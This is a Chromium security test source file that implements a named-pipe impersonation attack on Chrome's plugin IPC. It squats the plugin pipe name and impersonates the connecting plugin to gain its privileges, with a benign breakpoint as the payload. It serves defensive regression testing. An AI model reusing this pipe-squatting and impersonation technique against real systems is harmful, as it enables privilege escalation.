root/chrome/test/security_tests/ipc_security_tests.cc

/* [<][>][^][v][top][bottom][index][help] */

DEFINITIONS

This source file includes following definitions.
  1. ODSMessageGLE
  2. ODSMessageGLE
  3. PipeNameFromCommandLine
  4. InfoFromPipeName
  5. MakeServerPipeBase
  6. MakeServerPluginPipe
  7. DoEvilThings
  8. PipeServerProc
  9. PipeImpersonationAttack

// Copyright (c) 2006-2008 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

#include <windows.h>
#include <string>
#include <sstream>

#include "chrome/test/security_tests/ipc_security_tests.h"

namespace {

// Debug output messages prefix.
const char kODSMgPrefix[] = "[security] ";
// Format of the Chrome browser pipe for plugins.
const wchar_t kChromePluginPipeFmt[] = L"\\\\.\\pipe\\chrome.%ls.p%d";
// Size for the in/out pipe buffers.
const int kBufferSize = 1024;

// Define the next symbol if you want to have tracing of errors.
#ifdef PIPE_SECURITY_DBG
// Generic debug output function.
void ODSMessageGLE(const char* txt) {
  DWORD gle = ::GetLastError();
  std::ostringstream oss;
  oss << kODSMgPrefix << txt << " 0x" << std::hex << gle;
  ::OutputDebugStringA(oss.str().c_str());
}
#else
void ODSMessageGLE(const char* txt) {
}
#endif

// Retrieves the renderer pipe name from the command line. Returns true if the
// name was found.
bool PipeNameFromCommandLine(std::wstring* pipe_name) {
  std::wstring cl(::GetCommandLineW());
  const wchar_t key_name[] = L"--channel";
  std::wstring::size_type pos = cl.find(key_name, 0);
  if (std::wstring::npos == pos) {
    return false;
  }
  pos = cl.find(L"=", pos);
  if (std::wstring::npos == pos) {
    return false;
  }
  ++pos;
  size_t dst = cl.length() - pos;
  if (dst <4) {
    return false;
  }
  for (; dst != 0; --dst) {
    if (!isspace(cl[pos])) {
      break;
    }
    ++pos;
  }
  if (0 == dst) {
    return false;
  }
  std::wstring::size_type pos2 = pos;
  for (; dst != 0; --dst) {
    if (isspace(cl[pos2])) {
      break;
    }
    ++pos2;
  }
  *pipe_name = cl.substr(pos, pos2);
  return true;
}

// Extracts the browser process id and the channel id given the renderer
// pipe name.
bool InfoFromPipeName(const std::wstring& pipe_name, std::wstring* parent_id,
                      std::wstring* channel_id) {
  std::wstring::size_type pos = pipe_name.find(L".", 0);
  if (std::wstring::npos == pos) {
    return false;
  }
  *parent_id = pipe_name.substr(0, pos);
  *channel_id = pipe_name.substr(pos + 1);
  return true;
}

// Creates a server pipe, in byte mode.
HANDLE MakeServerPipeBase(const wchar_t* pipe_name) {
  HANDLE pipe = ::CreateNamedPipeW(pipe_name, PIPE_ACCESS_DUPLEX,
                                   PIPE_TYPE_BYTE | PIPE_READMODE_BYTE, 3,
                                   kBufferSize, kBufferSize, 5000, NULL);
  if (INVALID_HANDLE_VALUE == pipe) {
    ODSMessageGLE("pipe creation failed");
  }
  return pipe;
}

// Creates a chrome plugin server pipe.
HANDLE MakeServerPluginPipe(const std::wstring& prefix, int channel) {
  wchar_t pipe_name[MAX_PATH];
  swprintf_s(pipe_name, kChromePluginPipeFmt, prefix.c_str(), channel);
  return MakeServerPipeBase(pipe_name);
}

struct Context {
  HANDLE pipe;
  explicit Context(HANDLE arg_pipe) : pipe(arg_pipe) {
  }
};

// This function is called from a thread that has a security context that is
// higher than the renderer security context. This can be the plugin security
// context or the browser security context.
void DoEvilThings(Context* context) {
  // To make the test fail we simply trigger a breakpoint in the renderer.
  ::DisconnectNamedPipe(context->pipe);
  __debugbreak();
}

// This is a pipe server thread routine.
DWORD WINAPI PipeServerProc(void* thread_param) {
  if (NULL == thread_param) {
    return 0;
  }
  Context* context = static_cast<Context*>(thread_param);
  HANDLE server_pipe = context->pipe;

  char buffer[4];
  DWORD bytes_read = 0;

  for (;;) {
    // The next call blocks until a connection is made.
    if (!::ConnectNamedPipe(server_pipe, NULL)) {
      if (GetLastError() != ERROR_PIPE_CONNECTED) {
        ODSMessageGLE("== connect named pipe failed ==");
        continue;
      }
    }
    // return value of ReadFile is unimportant.
    ::ReadFile(server_pipe, buffer, 1, &bytes_read, NULL);
    if (::ImpersonateNamedPipeClient(server_pipe)) {
      ODSMessageGLE("impersonation obtained");
      DoEvilThings(context);
      break;
    } else {
      ODSMessageGLE("impersonation failed");
    }
    ::DisconnectNamedPipe(server_pipe);
  }
  delete context;
  return 0;
}
}   // namespace

// Implements a pipe impersonation attack resulting on a privilege elevation on
// the chrome pipe-based IPC.
// When a web-page that has a plug-in is loaded, chrome will do the following
// steps:
//   1) Creates a server pipe with name 'chrome.<pid>.p<n>'. Initially n = 1.
//   2) Launches chrome with command line --type=plugin --channel=<pid>.p<n>
//   3) The new (plugin) process connects to the pipe and sends a 'hello'
//      message.
// The attack creates another server pipe with the same name before step one
// so when the plugin connects it connects to the renderer instead. Once the
// connection is acepted and at least a byte is read from the pipe, the
// renderer can impersonate the plugin process which has a more relaxed
// security context (privilege elevation).
//
// Note that the attack can also be peformed after step 1. In this case we need
// another thread which used to connect to the existing server pipe so the
// plugin does not connect to chrome but to our pipe.
bool PipeImpersonationAttack() {
  std::wstring pipe_name;
  if (!PipeNameFromCommandLine(&pipe_name)) {
    return false;
  }
  std::wstring parent_id;
  std::wstring channel_id;
  if (!InfoFromPipeName(pipe_name, &parent_id, &channel_id)) {
    return false;
  }
  HANDLE plugin_pipe = MakeServerPluginPipe(parent_id, 1);
  if (INVALID_HANDLE_VALUE == plugin_pipe) {
    return true;
  }

  HANDLE thread = ::CreateThread(NULL, 0, PipeServerProc,
                                 new Context(plugin_pipe), 0, NULL);
  if (NULL == thread) {
    return false;
  }
  ::CloseHandle(thread);
  return true;
}

/* [<][>][^][v][top][bottom][index][help] */